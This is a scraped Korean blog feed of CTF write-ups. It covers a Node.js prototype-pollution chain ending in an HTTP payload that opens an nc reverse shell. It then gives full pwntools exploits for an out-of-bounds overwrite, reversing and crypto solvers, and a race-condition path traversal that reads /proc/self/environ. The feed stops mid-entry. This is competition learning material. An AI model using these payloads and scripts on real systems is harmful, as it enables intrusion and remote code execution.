&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 리팩토링하면서 정규식 관련 부분을 수정했는데 &lt;code&gt;lib/internal/modules/cjs/loader.js&lt;/code&gt;의 resolveExports함수 부분의 코드가 아래와 같이 변경되었다.&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;function resolveExports(nmPath, request) {
  // The implementation's behavior is meant to mirror resolution in ESM.
  const { 1: name, 2: expansion = '' } =
  -    StringPrototypeMatch(request, EXPORTS_PATTERN) || [];
  +   RegExpPrototypeExec(EXPORTS_PATTERN, request) || kEmptyObject;
  if (!name)
    return;
  const pkgPath = path.resolve(nmPath, name);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원랜 StringPrototypeMatch함수에서 false를 반환했을 때 || 연산자에 의해 []가 사용되고 이때 name, expansion 변수를 prototype pollution으로 맘대로 덮어서 익스플로잇이 가능했는데 이젠 kEmptyObject를 리턴하기 때문에 exploit이 불가능하다.&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;kEmptyObject = ObjectFreeze(ObjectCreate(null));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법으론 익스플로잇이 불가능하기 때문에 새로운 가젯을 찾아야하는데 require 함수에 breakpoint를 걸고 호출을 따라가다보면 흥미로운 부분을 발견할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;require 함수의 호출을 따라가다보면 tryself함수를 호출하는데 코드는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
  if (!pkg || pkg.exports === undefined) return false;
  if (typeof pkg.name !== 'string') return false;

  let expansion;
  if (request === pkg.name) {
    expansion = '.';
  } else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
    expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
  } else {
    return false;
  }

  try {
    return finalizeEsmResolution(packageExportsResolve(
      pathToFileURL(pkgPath + '/package.json'), expansion, pkg,
      pathToFileURL(parentPath), cjsConditions), parentPath, pkgPath);
  } catch (e) {
    if (e.code === 'ERR_MODULE_NOT_FOUND')
      throw createEsmNotFoundErr(request, pkgPath + '/package.json');
    throw e;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;readPackageScope는 현재 path를 기준으로 상위 폴더로 올라가며 package.json을 찾는다. 만약 최상위 디렉토리까지 올라가는 동안 package.json을 발견하지 못한다면 함수는 false를 반환해준다. 그럼 패치 이전과 동일하게 {}가 사용될 것이고 pkg, pkgPath 변수를 맘대로 컨트롤 할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{&quot;__proto__&quot;:{&quot;data&quot;:{&quot;name&quot;:&quot;./usage&quot;,&quot;exports&quot;:{&quot;.&quot;:&quot;./test.js&quot;}},&quot;path&quot;:&quot;/tmp&quot;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 위와 같이 pollution을 시도하면 data 변수에는 &lt;code&gt;{&quot;name&quot;:&quot;./usage&quot;,&quot;exports&quot;:{&quot;.&quot;:&quot;./test.js&quot;}}&lt;/code&gt;, pkgPath변수에는 &lt;code&gt;/tmp&lt;/code&gt;가 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 try block 안에서 packageExportsResolve를 호출하게 되는데&lt;br /&gt;이때 require 함수는 우리가 pollution한 path에서 &lt;code&gt;usage.js&lt;/code&gt;를 찾으려고 시도한다.&lt;br /&gt;근데 해당 경로엔 &lt;code&gt;usage.js&lt;/code&gt;가 없기 때문에 pollute된 exports property를 이용하여 모듈에 접근할 수 있는 entrypoint를 가져오고&lt;br /&gt;최종적으론 해당 경로엔 package.json이 없음에도 valid한 module 경로로 착각하여 &lt;code&gt;./test.js&lt;/code&gt;를 import하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 맘대로 js 파일을 import하는 것이 가능한데 RCE를 위해선 child_process를 사용하는 js 파일을 찾아야한다.&lt;br /&gt;그리고 아주 좋은 예제가 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oDVNU/btrLxZ2NfPq/vgS5OTqGPXi9SETLFrQI60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oDVNU/btrLxZ2NfPq/vgS5OTqGPXi9SETLFrQI60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oDVNU/btrLxZ2NfPq/vgS5OTqGPXi9SETLFrQI60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoDVNU%2FbtrLxZ2NfPq%2FvgS5OTqGPXi9SETLFrQI60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;501&quot; height=&quot;565&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/opt/yarn~~&lt;/code&gt; 경로에 존재하는 preinstall.js를 이용하는 것인데&lt;br /&gt;환경변수에 npm_config_global이 설정되있다면 child_process를 이용하여 무언가를 실행해준다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['ignore', undefined, 'ignore'],
        }).replace(/\n/g, '');

        var manifest = require('./package.json');
        var binNames = typeof manifest.bin === 'string'
            ? [manifest.name.replace(/^@[^\/]+\//, '')]
            : typeof manifest.bin === 'object' &amp;amp;&amp;amp; manifest.bin !== null
            ? Object.keys(manifest.bin)
            : [];

        binNames.forEach(function (binName) {
            var binPath = path.join(targetPath, binName);

            var binTarget;
            try {
                binTarget = fs.readlinkSync(binPath);
            } catch (err) {
                return;
            }

            if (binTarget.startsWith('../lib/node_modules/corepack/')) {
                try {
                    fs.unlinkSync(binPath);
                } catch (err) {
                    return;
                }
            }
        });
    } catch (err) {
        // ignore errors
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서 준 환경에도 동일하게 preinstall.js가 존재하고 환경변수는 prototype pollution을 이용하여 설정해주면 되기 때문에 페이로드 가져와서 RCE해주면 된다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;GET /?{&quot;__proto__&quot;:{&quot;env&quot;:{&quot;EVIL&quot;:&quot;console.log(require('child_process').execSync('nc${IFS}server${IFS}1234${IFS}-e${IFS}/bin/sh').toString())//&quot;},&quot;NODE_OPTIONS&quot;:&quot;--require=/proc/self/environ&quot;,&quot;npm_config_global&quot;:1,&quot;data&quot;:{&quot;name&quot;:&quot;./usage&quot;,&quot;exports&quot;:{&quot;.&quot;:&quot;./preinstall.js&quot;}},&quot;path&quot;:&quot;/opt/yarn-v1.22.19/&quot;,&quot;__proto__&quot;:{&quot;a&quot;:1}}} HTTP/1.1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 페이로드를 burp suite를 이용하여 전송해주면 reverse shell을 얻을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;erlang-repl&quot;&gt;&lt;code&gt;FLAG : BALSN{Pr0toTyP3_PoL1u7i0n_1s_so_Cooooooool!!!}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/78</guid>
      <comments>https://as3617.tistory.com/78#entry78comment</comments>
      <pubDate>Wed, 7 Sep 2022 00:23:56 +0900</pubDate>
    </item>
    <item>
      <title>2022 Fall GoN Open Qual CTF writeup</title>
      <link>https://as3617.tistory.com/77</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PxPbn/btrLakzbFWx/1wfPM4UuP2ibvs0rNWArU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PxPbn/btrLakzbFWx/1wfPM4UuP2ibvs0rNWArU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PxPbn/btrLakzbFWx/1wfPM4UuP2ibvs0rNWArU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPxPbn%2FbtrLakzbFWx%2F1wfPM4UuP2ibvs0rNWArU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2096&quot; height=&quot;464&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3등했다.&lt;/p&gt;
&lt;h1&gt;A: &lt;b&gt;Zero Gravity&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 바이너리를 분석해보면 oob 취약점이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;릭은 생각보다 간단하게 잘 되는데 overwrite를 할 때 부동소수점 연산의 정확도가 낮아서 맘대로 잘 안 덮혀서 좀 고생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Float 연산해서 넣어주면 이제 제대로 덮을 수 있는데 memset함수의 첫 번째 인자가 우리가 입력하는 데이터여서 그냥 memset을 system함수로 덮어주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;from pwn import *
import struct

# p = process(&quot;./zero_gravity&quot;)
p = remote(&quot;host1.dreamhack.games&quot;, 18359)
e = ELF(&quot;./zero_gravity&quot;)
# libc = e.libc
libc = ELF(&quot;./libc.so.6&quot;)

def read(index):
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, &quot;r&quot;)
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, str(index))
    return float(p.recvline())

def add(index, value):
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, &quot;a&quot;)
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, str(index))
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, str(value))

f2u = lambda x: u32(struct.pack(&quot;&amp;lt;f&quot;, x))
u2f = lambda x: struct.unpack(&quot;&amp;lt;f&quot;, p32(x))[0]

add(16, u2f(0x41414141))

libc_base = (f2u(read(-25)) &amp;lt;&amp;lt; 32) | f2u(read(-26)) - libc.sym[&quot;__isoc99_scanf&quot;]

leak = f2u(read(-30))
add(-30, u2f((libc_base + libc.sym[&quot;system&quot;]) &amp;amp; 0xFFFFFFFF) - u2f(leak))

p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;, &quot;sh&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;B: &lt;b&gt;Bomblab - Hard&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 bomb 바이너리를 분석해보면 6개의 일반 스테이지와 1개의 히든 스테이지가 있음을 알 수 있으며, 각종 안티디버깅 기법이 걸려있는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안티디버깅 기법은 간단히 바이너리를 nop 패치하여 우회할 수 있으며, 6개의 일반 스테이지는 간단한 리버싱을 통해 그에 맞는 해답을 구해 넘어갈 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;히든 스테이지의 경우에는 표면상으로는 입력을 int로 받고 비교를 double로 해서 통과가 불가능해 보이지만, libc 환경을 맞춰주고 디버깅해보면 return address를 ROP payload로 채워서 특정 로직을 수행하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열심히 gdb에서 엔터를 눌러가며 분석하면 어렵지 않게 로직을 파악해 알맞는 해답을 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from pwn import *
from z3 import *

p = process(argv=[&quot;./ld-linux-x86-64.so.2&quot;, &quot;./bomb&quot;], env={&quot;LD_PRELOAD&quot; : &quot;./libc.so.6&quot;})

print(&quot;[*] Phase 1: &quot;, end=&quot;&quot;)
enc = [0x83, 0x9C, 0x89, 0x82, 0x93, 0x9F, 0x89, 0x9F, 0x8D, 0x81, 0x89]
answer = bytes(map(lambda x: x ^ 0xCC, enc)).decode()
print(answer)
p.sendline(answer)

print(&quot;[*] Phase 2: &quot;, end=&quot;&quot;)
arr = [0]
for i in range(1, 6):
  arr.append(arr[i-1] + ((i * (i + 1)) // 2))
answer = &quot; &quot;.join(map(str, arr))
print(answer)
p.sendline(answer)

print(&quot;[*] Phase 3: &quot;, end=&quot;&quot;)

s = Solver()
v1 = BitVec(&quot;v1&quot;, 64)
v2 = BitVec(&quot;v2&quot;, 64)

s.add(0 &amp;lt;= v1)
s.add(v1 &amp;lt;= 0xFFFFFFFF)
s.add(0 &amp;lt;= v2)
s.add(v2 &amp;lt;= 0xFFFFFFFF)
s.add(((v1 * 0x1AD7E715) &amp;gt;&amp;gt; 53) * 0x500BF == (v1 - v2) / 0x3D)

s.check()
m = s.model()
answer = &quot;{} {}&quot;.format(m[v1], m[v2])
print(answer)
p.sendline(answer)

print(&quot;[*] Phase 4: &quot;, end=&quot;&quot;)

v1 = BitVec(&quot;v1&quot;, 32)
v2 = BitVec(&quot;v2&quot;, 32)

s.add(v1 &amp;lt;= 0x7FFFFFFF)
s.add(v2 &amp;lt;= 0x7FFFFFFF)
s.add((v1 * (v1 * (v1 * v1 - v2) - v2 * v1) - v2 * (v1 * v1 - v2)) == 0xC6BE719)

s.check()
m = s.model()
answer = &quot;{} {} {}&quot;.format(m[v1], m[v2], &quot;c0m0r1bb&quot;)
print(answer)
p.sendline(answer)

print(&quot;[*] Phase 5: &quot;, end=&quot;&quot;)
answer = &quot;0.70710676&quot; # found with some brute-forcing :)
print(answer)
p.sendline(answer)

print(&quot;[*] Phase 6: &quot;, end=&quot;&quot;)
answer = &quot;12 15 2 17 18 21 7 19 23 31 41 59&quot; # found with binary reversing (prime table)
print(answer)
p.sendline(answer)

print(&quot;[*] Secret Phase: &quot;, end=&quot;&quot;)

result = b&quot;[R0P_M4DN3SS!!]&quot;
answer = &quot;&quot;
for r in result.hex():
  answer += chr(int(r, 16) + 0x41)
print(answer)
p.sendline(answer)

p.recvuntil(&quot;Congratulations! You\&quot;ve defused the bomb!\n&quot;)
flag = p.recvline().strip().decode()
print(&quot;[+] FLAG: {}&quot;.format(flag))

p.close()&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;C: &lt;b&gt;pprintable&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 제목과 같이 printable한 flag를 두 조각으로 나눠 p와 q를 설정했으며, p와 q의 비트 약 33%를 알려주었기 때문에 p와 q의 각 바이트마다 어느 정도 경우의 수를 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 N = p * q 이므로 N &amp;equiv; p * q (mod 2 ^ k) 임을 이용해 하위 바이트부터 브루트포싱을 수행해 p와 q를 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import string

N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0xaa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15

p_redacted = bin(p_redacted)[2:].zfill(1024)
p_mask = bin(p_mask)[2:].zfill(1024)

p_redacted_list = []
for i in range(0, 1024, 8):
    p_redacted_list.append(p_redacted[i:i+8])

p_mask_list = []
for i in range(0, 1024, 8):
    p_mask_list.append(p_mask[i:i+8])

p_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + &quot;_{}&quot;)
    for j in range(8):
        if p_mask_list[i][j] == &quot;1&quot;:
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == p_redacted_list[i][j], charset))
    p_possible_list.append(list(map(ord, charset)))
p_possible_list.reverse()

q_redacted = bin(q_redacted)[2:].zfill(1024)
q_mask = bin(q_mask)[2:].zfill(1024)

q_redacted_list = []
for i in range(0, 1024, 8):
    q_redacted_list.append(q_redacted[i:i+8])

q_mask_list = []
for i in range(0, 1024, 8):
    q_mask_list.append(q_mask[i:i+8])

q_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + &quot;_{}&quot;)
    for j in range(8):
        if q_mask_list[i][j] == &quot;1&quot;:
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == q_redacted_list[i][j], charset))
    q_possible_list.append(list(map(ord, charset)))
q_possible_list.reverse()

mask = 0xFF

pq_found_list = [(0, 0)]
for i in range(len(p_possible_list)):
    pq_found_list_t = []

    for p_found, q_found in pq_found_list:
        for p_possible in p_possible_list[i]:
            for q_possible in q_possible_list[i]:
                p_guess = (p_possible &amp;lt;&amp;lt; (i * 8)) | p_found
                q_guess = (q_possible &amp;lt;&amp;lt; (i * 8)) | q_found
                if (p_guess * q_guess) &amp;amp; mask == N &amp;amp; mask:
                    pq_found_list_t.append((p_guess, q_guess))

    pq_found_list = pq_found_list_t[:]
    mask = (mask &amp;lt;&amp;lt; 8) | 0xFF

p_found, q_found = pq_found_list_t[0]
assert p_found * q_found == N

print(&quot;&quot;&quot;
[+] Found p = {}
[+] Found q = {}
&quot;&quot;&quot;.format(hex(p_found), hex(q_found)))

flag = (bytes.fromhex(hex(p_found)[2:]) + bytes.fromhex(hex(q_found)[2:])).decode()
print(&quot;[+] FLAG: {}&quot;.format(flag))&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;D: &lt;b&gt;Obstacle&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리를 IDA로 뜯어보면 Objective-C로 컴파일한 바이너리라는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평소에 보던 바이너리와 형태가 조금 다르지만 gdb를 통한 동적 분석을 겸하여 분석해보면 어렵지 않게 CBC 모드 블록 암호화 알고리즘을 파악할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import struct

KEY = b&quot;Sup3r_s4f3_k3y\x00\x00&quot;
IV = b&quot;Sup3r_4ws0me_1v\x00&quot;

xor = lambda a, b: list(map(lambda x: x[0] ^ x[1], zip(a, b)))

def round1_enc(block):
    block_enc = xor(block, KEY)
    return block_enc

def round1_dec(block):
    block_dec = xor(block, KEY)
    return block_dec

def round2_enc(block):
    v1 = struct.unpack(&quot;&amp;gt;Q&quot;, bytes(block[:8]))[0]
    v2 = struct.unpack(&quot;&amp;gt;Q&quot;, bytes(block[8:]))[0]

    block_enc = []
    block_enc.extend(struct.pack(&quot;&amp;gt;Q&quot;, v2))
    block_enc.extend(struct.pack(&quot;&amp;gt;Q&quot;, (v1 ^ ((v2 &amp;gt;&amp;gt; 19) | (v2 &amp;lt;&amp;lt; 13))) &amp;amp; 0xFFFFFFFFFFFFFFFF))

    return block_enc

def round2_dec(block):
    v1 = struct.unpack(&quot;&amp;gt;Q&quot;, bytes(block[:8]))[0]
    v2 = struct.unpack(&quot;&amp;gt;Q&quot;, bytes(block[8:]))[0]

    block_dec = []
    block_dec.extend(struct.pack(&quot;&amp;gt;Q&quot;, (v2 ^ ((v1 &amp;gt;&amp;gt; 19) | (v1 &amp;lt;&amp;lt; 13))) &amp;amp; 0xFFFFFFFFFFFFFFFF))
    block_dec.extend(struct.pack(&quot;&amp;gt;Q&quot;, v1))

    return block_dec

__ROL1__ = lambda x, n: ((x &amp;lt;&amp;lt; n) &amp;amp; 0xFF) | (x &amp;gt;&amp;gt; (8 - n))

def sbox_f(v23):
    if v23 == 0:
        v33 = 99
    else:
        v24 = 1
        v25 = 1

        # do
        v26 = v25 ^ (2 * v25) ^ 0x1B
        v27 = (v25 &amp;amp; 0x80) != 0
        v25 ^= 2 * v25
        if ( v27 ):
            v25 = v26
        v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
        if ( (v24 &amp;amp; 0x80) != 0 ):
            v24 ^= 9

        # while
        while v23 != (v25 &amp;amp; 0xFF):
            v26 = v25 ^ (2 * v25) ^ 0x1B
            v27 = (v25 &amp;amp; 0x80) != 0
            v25 ^= 2 * v25
            if ( v27 ):
                v25 = v26
            v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
            if ( (v24 &amp;amp; 0x80) != 0 ):
                v24 ^= 9

        v24 &amp;amp;= 0xFF
        v33 = __ROL1__(v24, 3) ^ __ROL1__(v24, 2) ^ v24 ^ 0x63 ^ __ROL1__(v24, 1) ^ __ROL1__(v24, 4)

    return v33

sbox = {}
sbox_inv = {}

for i in range(0x100):
    sbox[i] = sbox_f(i)
    sbox_inv[sbox_f(i)] = i

def round3_enc(block):
    block_enc = [None for _ in range(0x10)]
    i = 1
    for j in range(0x10):
        block_enc[i] = sbox[block[j]]
        i = (i * 9 + 3) &amp;amp; 0xF
    return block_enc

def round3_dec(block):
    block_dec = []
    i = 1
    for _ in range(0x10):
        block_dec.append(sbox_inv[block[i]])
        i = (i * 9 + 3) &amp;amp; 0xF
    return block_dec

flag_enc = list(bytes.fromhex(&quot;483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45&quot;))
flag_dec = b&quot;&quot;

for i in range(0, len(flag_enc), 16):
    block = flag_enc[i:i+16]
    block = round2_dec(block)
    block = round1_dec(block)
    for _ in range(101):
        block = round3_dec(block)
        block = round2_dec(block)
        block = round1_dec(block)
    if i == 0:
        block = xor(block, IV)
    else:
        block = xor(block, flag_enc[i-16:i])
    flag_dec += bytes(block)

flag_dec = flag_dec.decode()
print(&quot;[*] FLAG: {}&quot;.format(flag_dec))&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;F: &lt;b&gt;Heliodor&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 읽어보면 우리가 원하는 파일을 맘대로 다운로드할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;https://github.com/nodejs/node/issues/43669&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 위의 이슈로 인해 플래그가 들어있는 /proc/self/environ을 받을 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 번 이 이슈를 경험해본 적이 있어서 어떻게 하면 해결할 수 있을지 고민을 좀 해봤는데 레이스컨디션을 이용하여 fs.stat에서 /etc/passwd와 같은 파일을 가리켜서 정상적인 size를 반환하게 한 상태에서 fs.createReadStream에서 /proc/self/environ을 읽게 만들면 어떨까라는 생각이 들었고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 토대로 익스플로잇을 작성해서 돌려보니 실제로 작동했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = &quot;debug&quot;
p1 = remote(&quot;host1.dreamhack.games&quot;,20043)
p2 = remote(&quot;host1.dreamhack.games&quot;,20043)
p3 = remote(&quot;host1.dreamhack.games&quot;,20043)

payload1 = &quot;&quot;&quot;import requests

while True:
    requests.get(&quot;http://10.88.2.1:58283/query/view/..proc..self..environ&quot;)

&quot;&quot;&quot;

payload2 = &quot;&quot;&quot;import requests

while True:
    requests.get(&quot;http://10.88.2.1:58283/query/view/..etc..passwd&quot;)

&quot;&quot;&quot;

payload3 = &quot;&quot;&quot;import requests

while True:
    r = requests.get(&quot;http://10.88.2.1:58283/query/view/..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..fd..21&quot;).text
    if &quot;error&quot; not in r:
        print(&quot;find : &quot; +r)


&quot;&quot;&quot;
p1.sendlineafter(&quot;$&quot;,&quot;python3&quot;)
p1.sendlineafter(&quot;&amp;gt;&amp;gt;&amp;gt;&quot;,payload1)

p2.sendlineafter(&quot;$&quot;,&quot;python3&quot;)
p2.sendlineafter(&quot;&amp;gt;&amp;gt;&amp;gt;&quot;,payload2)

p3.sendlineafter(&quot;$&quot;,&quot;python3&quot;)
p3.sendlineafter(&quot;&amp;gt;&amp;gt;&amp;gt;&quot;,payload3)

p3.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;G: &lt;b&gt;Emerald Tablet&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django&lt;/code&gt;&lt;/p&gt;
